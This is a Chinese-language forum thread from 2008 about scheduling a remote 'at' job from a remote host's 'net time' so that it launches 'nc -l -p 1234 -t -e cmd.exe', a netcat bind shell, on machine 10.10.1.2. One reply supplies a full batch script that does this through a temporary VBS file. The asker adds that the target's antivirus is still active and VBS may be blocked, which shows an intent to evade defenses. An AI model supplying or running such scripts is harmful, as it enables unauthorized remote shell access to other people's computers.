标题: 如何把NET TIME的时间自动给AT使用
[打印本页]
作者: xuehaiwuya
时间: 2008-4-21 08:25
标题: 如何把NET TIME的时间自动给AT使用
如何把NET TIME的时间自动给AT使用
a: net time \\10.10.1.2
b: at \\10.10.1.2 时间 nc -l -p 1234 -t -e cmd.exe
要实现
a中取得的时间自动增加 三秒钟=b中的时间
就是这两句BAT要如何修改
作者: fastslz
时间: 2008-4-21 14:19
@echo off
for /f "tokens=" %%i in ('net time \\10.10.1.2') do set NetTime=%%i
>tmp.vbs echo Wscript.echo FormatDateTime (DateAdd("s",3,"%NetTime%"),0)
for /f "delims=" %%i in ('cscript.exe //nologo tmp.vbs') do set aTime=%%i
del tmp.vbs
at \\10.10.1.2 "%aTime%" nc -l -p 1234 -t -e cmd.exe
pause
未测试
作者: xuehaiwuya
时间: 2008-4-21 16:46
我想在这一步暂时还没有关掉那台电脑的杀毒软件,应当不能用VBS
作者: xuehaiwuya
时间: 2008-4-21 17:02
tmp.vbs(1,1) microsoft VBScript 运行时错误: 类型不匹配: '[string: ""]'
作者: xuehaiwuya
时间: 2008-4-21 17:03
最好不用VBS
一是那台电脑肯定有杀软
二是有可能那台电脑禁用了VBS